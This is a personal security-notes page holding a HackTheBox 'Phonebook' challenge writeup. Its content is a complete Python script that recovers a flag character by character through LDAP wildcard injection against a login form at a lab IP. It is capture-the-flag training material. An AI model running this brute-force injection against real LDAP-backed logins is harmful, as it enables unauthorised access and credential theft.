fg0x0's notes
Ctrlk
  • ๐Ÿ‘€Introduction
    • ๐Ÿดโ€โ˜ ๏ธAbout me
  • ๐Ÿ‘พoffensive-security
    • ๐ŸฒOSCP
    • โ›“๏ธOSEP
    • ๐Ÿ•ธ๏ธOSWE
    • ๐ŸŒŒPG-Practice
  • ๐ŸšฉRed Team
    • โ˜ข๏ธActive Directory Exploitation
    • ๐Ÿ‘ฟRed Teaming Zero to Hero
    • ๐Ÿ‘ฟRed Teaming All The Things
    • ๐Ÿ•ธ๏ธWeb Exploitation
    • ๐Ÿ’€Binary Exploitation
    • โ˜ ๏ธExploit Development
  • ๐Ÿณ๏ธBlue Team
    • ๐Ÿ”Digital Forensics
    • ๐Ÿ”Cryptography & Math
    • โชReverse Engineering
  • ๐Ÿดโ€โ˜ ๏ธctf
    • ๐Ÿ‡Haruul Zangi
    • ๐Ÿดโ€โ˜ ๏ธOther CTF
  • ๐ŸงŠHackTheBox
    • ๐ŸชŸWindows Machine
    • ๐ŸงLinux Machine
    • โ˜ ๏ธOther Platform Machines
    • Web Exploitation
      • ๐Ÿ‘ฝFlask SSTI
      • Injection
        • ๐Ÿ‘ฝPhonebook ( LDAP Injection )
        • sanitize ( SQL Injection )
        • Weather app ( SQL Injection )
        • Intergalactic Post ( php filter SQLi )
        • C.O.P ( SQL injection + Revshell )
      • ๐Ÿ’ฅPrototype Pollution
      • ๐Ÿ˜ตโ€๐Ÿ’ซinsecure deserialization
      • XSS
      • ๐Ÿ‘พSymfony
      • ๐Ÿ‘ฅXXE
      • Ping submit hiideg
      • RCE
      • LFI
      • File Upload
      • URL submit hiideg
      • Invoice ilgeedeg
      • HTTP2 smuggling
    • Forensics
  • ๐Ÿ’€Synack Red Team
Powered by GitBook
On this page
  1. ๐ŸงŠHackTheBox
  2. Web Exploitation
  3. Injection

๐Ÿ‘ฝPhonebook ( LDAP Injection )

LogoHTBโ€Šโ€”โ€ŠPhonebookMedium
LogoPhonebookโ€Šโ€”โ€ŠHTB Web Challenge WriteupMedium

full exploit code

PreviousInjectionNextsanitize ( SQL Injection )

Last updated 1 year ago

import requests
import string

headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://167.99.84.37:32125/login"

chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])

counter = 0
flag = "HTB{"

while True:
    # if all chars are not correct means we previous already found the flag
    if counter == len(chars):
        print(flag + "}")
        break

    # creates something like HTB{a*}
    password = flag + chars[counter] + "*}"
    print("Trying: " + password)

    data = {"username" : "Reese", "password" : password}
    response = requests.post(url, headers=headers, data=data)
    
    if (response.url != url + "?message=Authentication%20failed"):
        # possible flag since we still using * at the end: e.g HTB{abc_*}.
        # append chars[] so that we not need to deal with removing "*}" as compared to if we assign password variable to flag variable
        flag += chars[counter]
        counter = 0
    else:
        # increment the char since we might not have found the right letter
        counter += 1